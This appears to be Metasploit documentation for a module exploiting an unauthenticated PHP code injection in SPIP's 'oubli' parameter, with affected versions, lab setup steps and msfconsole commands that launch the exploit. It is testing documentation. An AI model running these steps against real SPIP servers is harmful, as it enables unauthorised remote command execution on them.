## Vulnerable Application

This module exploits a PHP code injection in SPIP. The vulnerability exists in
the `oubli` parameter and allows an unauthenticated user to execute arbitrary
commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are
concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.

The module's `check` method attempts to obtain the SPIP version via a simple HTTP GET request to `/spip.php`
page and fingerprints it either via the `generator` meta tag, or by the
`Composed-By` header.

This module has been successfully tested against SPIP version 4.0.0.

## Setup

On Ubuntu 20.04, download a vulnerable instance of SPIP:

```
wget https://files.spip.net/spip/archives/spip-v4.2.0.zip
```

Unzip it to a specific folder:

```
mkdir spip-site 
cp spip-v4.2.0.zip spip-site/ 
cd spip-site / 
unzip spip-v4.2.0.zip
```

Install php and the necessary extensions:

```
sudo apt install -y php-xml php-zip php-sqlite3
```

Serve the application (while in the newly created spip-site directory):

```
php -S 127.0.0.1:8000
```

Navigate to the following URL, select `sqlite` for the database, and complete the installation:

```
http://127.0.0.1:8000/ecrire/
```

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/http/spip_rce_form`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `exploit`

## Options
